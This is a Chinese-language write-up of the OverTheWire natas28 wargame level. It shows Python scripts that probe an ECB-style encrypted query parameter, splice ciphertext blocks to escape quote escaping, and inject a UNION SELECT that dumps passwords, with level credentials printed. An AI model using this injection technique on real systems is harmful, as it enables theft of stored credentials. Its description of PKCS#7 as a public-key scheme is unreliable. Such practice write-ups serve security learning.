這一關和以前不同,並無給咱們源碼信息,稍微加大了一點難度。php
題目給咱們的信息很簡單,一個搜索框,搜索後會返回一些笑話。python
輸入字符串a
,觀察網絡請求,發現網絡請求經歷了兩步,第一步是post
傳輸本來的請求,第二步是重定向到另一個get
的頁面中。該頁面的請求有一個比較複雜的參數query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKriAqPE2%2B%2BuYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D
算法
看起來這是個比較複雜的加密...先不去管它。sql
檢查一下本身的cookie,發現這一關並無設置cookie,說明這個query參數中已經包含了全部的信息。大體猜一下,是把sql查詢通過某種形式的加密後直接放到get的參數中。因爲不知道加密方式,因此直接僞造密文的方式不可取。cookie
先試試一些簡單sql注入。'or 1=1#--
, or 1=1#--
, 發現都不起做用,能夠判斷該請求對一些特殊字符作了轉義。網絡
最後試試篡改一下query的參數,請求http://natas28.natas.labs.overthewire.org/search.php/?query=a
, 發現它給咱們返還了一個報錯信息Incorrect amount of PKCS#7 padding for blocksize
, 這大概就是本題的突破口了。app
網上搜索pkcs#7
, 這是一種加密公鑰機制, 而且是分組加密。
分組加密的原理大體說一下ide
- 把原文按固定長度分紅若干個組,最後一個組若是長度不足則用一些數據填充。
- 把每一個組分別用一個密鑰加密,而後把每一個組加密後的密文拼起來造成完整的密文
在pkcs#7
中,每一個組用來加密的密鑰是相同的。也就是說當一個組的內容肯定後,無論它前面和後面的內容是什麼,該組加密後的內容再也不改變。post
肯定這是一個分組加密以後,咱們用一個算法來看看每一個分組的長度是多少。代碼以下加密
import base64 from urllib.parse import urlparse, parse_qs import requests auth = ('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF') target = 'http://natas28.natas.labs.overthewire.org/' for i in range(1, 30): resp = requests.post( target, auth=auth, data={'query': 'a' * i} ) q = base64.b64decode(parse_qs(urlparse(resp.url).query)['query'][0]).hex() print(q, i)
運行結果以下
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 ab880a8f136fbeb98967891324a1b075 bdfa1054ec68515cf96f2a5544591947 904f4b2abf2c2d7686aa72a53151c970 1 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 b130a531bec89c705213bfa5c9667ac7 48799a07b1d29b5982015c9355c2e00e aded9bdbaca6a73b71b35a010d2c4c57 2 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 2f5293a63acb9fe8c7b4e824b76d6a1d 9a2e2b5db6f31f19a14f75678eadaa90 4249b93e4dea0909479995b9c44b351a 3 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 3504a9a9675ffd614b4f1f90d284fcaa 29287f3cc5479e12e66f31c863b18047 56d5732dc8c770f64397158bc17a6e66 4 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c36a1f0469158a3052166146a5e3f2ec ac3b871c1c448386b45cd36d9e8f72f4 655149bbba2123d89d95417ea27f3a7b 5 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 4a11ffe73afd15daa05eb3c3486dcde1 41c098c4bacdc5ed9357564e5105dd7e 64d0dcc868253692adfcbd3796d1bf8a 6 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 9fde1cef6e3f84a172633f3074fc8e18 6486954aea46fb93e9ab85845b4f4bd0 d7ff2b725453fc294701e51f5d7c0f8e 7 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 453e0020602f4dccd50f0eb7709477c2 896de90884f86108b167f8b4aea5d763 917232051483e68e458fd066167b30a3 8 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 9e622686a52640595706099abcb052bb a09522f301cf9d36ac7023f165948c5a 9739cd90522fa7a86f95773b56f9f8c0 9 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 738a5ffb4a4500246775175ae596bbd6 f34df339c69edce11f6650bbced62702 10 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b4eda087d3c0bea2bedc1b6140b9e2eb ca8cf4e610913abae39a067619204a5a 11 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e ce82a9553b65b81280fb6d3bf2900f47 75fd5044fd063d26f6bb7f734b41c899 12 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 1f74714d76fcc5d464c6a221e6ed98e4 6223a14d9c4291b98775b03fbc73d4ed d8ae51d7da71b2b083d919a0d7b88b98 13 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e ecd36f8fd9164d403540e449707d27e5 4257a343daadaaf2c0e3a1d71ce03dd1 7b7baca655f298a321e90e3f7a60d4d8 14 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 5aef2a997da2363f72a3fad332d1736f a773f3185094aa01408f1f97d037d385 678c5773ecc28f870e4f4ebc6c8070a4 15 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 8925158cfc5ac06d22bfda0b72c8f151 a77e8ed1aabe0b5d05c4ffe6ac1423ab 478eb1a1fe261a2c6c15061109b3feda 16 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e adf8a1ad0177ed1ecad3ac7c1082aa9e bdfa1054ec68515cf96f2a5544591947 904f4b2abf2c2d7686aa72a53151c970 17 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 53d9499ebcad6861f04b7cdc24f30462 48799a07b1d29b5982015c9355c2e00e aded9bdbaca6a73b71b35a010d2c4c57 18 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e a549fda52b6d9b4e2632db31838856d5 9a2e2b5db6f31f19a14f75678eadaa90 4249b93e4dea0909479995b9c44b351a 19 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 2011bbe488dde1bbec961b6170b30e12 29287f3cc5479e12e66f31c863b18047 56d5732dc8c770f64397158bc17a6e66 20 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 8829a1f930ceb566b834441c0577402c ac3b871c1c448386b45cd36d9e8f72f4 655149bbba2123d89d95417ea27f3a7b 21 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 547602b52fae1566ac8e971f91f6d605 41c098c4bacdc5ed9357564e5105dd7e 64d0dcc868253692adfcbd3796d1bf8a 22 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e a45a93ee4794d1b6204fb0920b68f27d 6486954aea46fb93e9ab85845b4f4bd0 d7ff2b725453fc294701e51f5d7c0f8e 23 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e eda118f999f9495e8f3d973fba6528a3 896de90884f86108b167f8b4aea5d763 917232051483e68e458fd066167b30a3 24 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e f2909c4d53781ee1777a012bb1a72541 a09522f301cf9d36ac7023f165948c5a 9739cd90522fa7a86f95773b56f9f8c0 25 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b39038c28df79b65d26151df58f7eaa3 738a5ffb4a4500246775175ae596bbd6 f34df339c69edce11f6650bbced62702 26 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b39038c28df79b65d26151df58f7eaa3 b4eda087d3c0bea2bedc1b6140b9e2eb ca8cf4e610913abae39a067619204a5a 27 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b39038c28df79b65d26151df58f7eaa3 ce82a9553b65b81280fb6d3bf2900f47 75fd5044fd063d26f6bb7f734b41c899 28 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b39038c28df79b65d26151df58f7eaa3 1f74714d76fcc5d464c6a221e6ed98e4 6223a14d9c4291b98775b03fbc73d4ed d8ae51d7da71b2b083d919a0d7b88b98 29
這裏咱們有一些小小的觀察:
- 前兩個塊的信息保持不變
- 在查詢'a' * 13時append了一個新塊,以後在查詢'a' * 29時又append了一個新塊
- 在查詢'a' * 10時第三個塊就達到穩定狀態
綜合上述信息,能夠得出如下結論
- 塊的大小是16個byte,這裏由於是按16進制打印,因此是32個字母
- 加密的邏輯相似於
encrypt(escape("select xxx from xxx where data = '$query' and xxx";))
第一個結論比較容易看出來,第二個結論是由於第三個塊達到穩定狀態時只用了10個'a',可是添加新塊卻用了13個'a',說明用戶查詢的字段是在整個sql語句的中間部分。前面由於已經有了相似於select xxx
之類的語句,所以前兩個塊老是保持不變。在插入第11個'a'後,第三個塊保持不變,此時第三塊後面的部分所有被'a'所佔據,剩餘的'a'和and xxx
之類的語句被擠到更右邊的塊中,此時查詢會致使後面的塊變更。
在以前的分析中,大概能猜到單引號等特殊字符被轉義了,在知道每一個塊的大小後,咱們即可以準確的知道到底哪些字符被轉義了。具體步驟以下
- 選擇可能被轉義的字符c
- 查詢11 * 'a' + c,若是該字符被轉義,那麼實際上查詢的是13個字符,根據第三步,查詢13個字符時會新增一個塊
- 看哪些字符新增了塊,這些字符便是被轉義的字符
import base64 from urllib.parse import urlparse, parse_qs, quote import requests auth = ('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF') target = 'http://natas28.natas.labs.overthewire.org/' specialChars = ['a', '\'', '"', '\\', '/', '#', '?', '%'] for c in specialChars: resp = requests.post( target, auth=auth, data={'query': 'a' * 11 + c} ) q = base64.b64decode(parse_qs(urlparse(resp.url).query)['query'][0]).hex() for j in range(len(q) // 32): print(q[j * 32: (j + 1) * 32], end=' ') print()
1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e ce82a9553b65b81280fb6d3bf2900f47 75fd5044fd063d26f6bb7f734b41c899 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 0284789694d18f5ed18cffa99e4e2c77 6223a14d9c4291b98775b03fbc73d4ed d8ae51d7da71b2b083d919a0d7b88b98 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 66750e9060a158a77faa76fd68de4e38 6223a14d9c4291b98775b03fbc73d4ed d8ae51d7da71b2b083d919a0d7b88b98 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e b0f1a233413dcb1c2ceb5b713b4a3c31 6223a14d9c4291b98775b03fbc73d4ed d8ae51d7da71b2b083d919a0d7b88b98 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e d9645cab79e1f80919397bfeb6efb7fb 75fd5044fd063d26f6bb7f734b41c899 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e bb1a501822125a0722274576dac92e9d 75fd5044fd063d26f6bb7f734b41c899 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e 79abd93a06604a255315ac5e28a2395f 75fd5044fd063d26f6bb7f734b41c899 1be82511a7ba5bfd578c0eef466db59c dc84728fdcf89d93751d10a7c75c8cf2 c0872dee8bc90b1156913b08a223a39e ea4436dc1e6914a9dfbbeeed0cfb9435 75fd5044fd063d26f6bb7f734b41c899
從結果來看,被轉義的字符有'
, "
, \
在第一步的嘗試中,直接構造的sql注入被轉義到了正常的字符串中,所以咱們須要一個機制來使得轉義機制失效。
還記得在第二步中介紹過,在pkcs#7
中,每一個組用來加密的密鑰是相同的。也就是說當一個組的內容肯定後,無論它前面和後面的內容是什麼,該組加密後的內容再也不改變。
咱們能夠構建一些塊,讓它前面的塊是正常的塊,然後面的則是含有sql注入漏洞的塊。具體原理以下(用blocksize=8作演示)。
- 搜索正常的內容: aaaaa, 分組結果爲
xxxxxxxx
xxxxxxxx
xxxaaaaa
xxxxxxxx- 注入惡意代碼: aaaa'sql#--,分組結果爲
xxxxxxxx
xxxxxxxx
xxxaaaa
'sql#--x
第一次咱們搜索了5個a
,填滿了第三個塊。第二次咱們搜索了4個a
和一個'
,因爲'
被轉義,搜索的內容被替換成了aaaa\'
,可是第三個塊只剩下5個空,所以aaaa\
留在了第三個塊,而'
則逃逸到了第四個塊。
因爲彼此塊的加密內容步相互影響,咱們能夠把前三塊加密結果替換成正常的塊,把第四塊以及以後的保留,這樣咱們就成功逃逸了'
,構成了一次sql注入。
另一個小細節,當咱們真實***的時候,由於可控的輸入是在整個字符串的中間位置,當插入10個a
就已經把第三塊內容給填滿了。所以若是咱們要***的話,得使用9個a
加上一個'
import base64 from urllib.parse import urlparse, parse_qs, quote import requests auth = ('natas28', 'JWwR438wkgTsNKBbcJoowyysdM82YjeF') target = 'http://natas28.natas.labs.overthewire.org' resp = requests.post( target, auth=auth, data={'query': 'a' * 9 + '\' union all select password from users; # --'} ) malicious = base64.b64decode(parse_qs(urlparse(resp.url).query)['query'][0]).hex() resp = requests.post( target, auth=auth, data={'query': 'a' * 10} ) clean = base64.b64decode(parse_qs(urlparse(resp.url).query)['query'][0]).hex() payload = quote(base64.b64encode(bytearray.fromhex(clean[:3 * 32] + malicious[3 * 32:])).decode('utf8')) resp = requests.get( target + '/search.php/?query=' + payload, auth=auth ) print(resp.text)
第29關密碼爲airooCaiseiyee8he8xongien9euhe8b